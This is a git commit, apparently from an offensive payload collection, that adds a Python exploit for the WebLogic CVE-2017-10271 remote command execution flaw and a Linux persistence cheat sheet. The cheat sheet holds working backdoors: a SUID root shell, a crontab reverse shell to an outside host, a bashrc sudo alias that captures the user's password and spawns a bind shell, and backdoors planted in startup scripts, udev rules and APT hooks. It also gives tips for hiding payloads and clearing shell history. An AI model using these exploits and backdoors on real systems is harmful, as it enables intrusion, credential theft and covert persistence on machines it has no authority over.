Linux Persistence + WebLogic RCE

This commit is contained in:
Swissky 2018-09-03 18:41:05 +02:00
parent 011baa7321
commit beb0ce8c54
3 changed files with 157 additions and 0 deletions

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import requests
import sys
url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}
def payload_command (command_in):
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "&lt;",
}
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
" <soapenv:Header> " \
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
" <void class=\"java.lang.ProcessBuilder\"> \n" \
" <array class=\"java.lang.String\" length=\"3\">" \
" <void index = \"0\"> " \
" <string>cmd</string> " \
" </void> " \
" <void index = \"1\"> " \
" <string>/c</string> " \
" </void> " \
" <void index = \"2\"> " \
+ command_filtered + \
" </void> " \
" </array>" \
" <void method=\"start\"/>" \
" </void>" \
" </java>" \
" </work:WorkContext>" \
" </soapenv:Header>" \
" <soapenv:Body/>" \
"</soapenv:Envelope>"
return payload_1
def do_post(command_in):
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
if result.status_code == 500:
print "Command Executed \n"
else:
print "Something Went Wrong \n"
print "***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
"***************************************************** \n"
while 1:
command_in = raw_input("Eneter your command here: ")
if command_in == "exit" : exit(0)
do_post(command_in)

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# Linux - Persistence
## Basic reverse shell
```bash
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```
## Suid Binary
```powershell
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```
## Crontab (Reverse shell to 192.168.1.2 on port 4242)
```bash
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
```
## Backdooring an user's bash_rc (FR/EN Version)
```bash
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
```
## Backdooring a startup service
```bash
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```
## Backdooring a driver
```bash
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```
## Backdooring the APT
If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
Next time "apt-get update" is done, your CMD will be executed!
```bash
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```
## Tips
Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
```bash
## Do not remove. Generated from /etc/issue.conf by configure.
```
Clear the last line of the history.
```bash
history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
```
The following directories are temporary and usually writeable
```bash
/var/tmp/
/tmp/
/dev/shm/
```
## Thanks to
* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
* [Pouki from JDI](#no_source_code)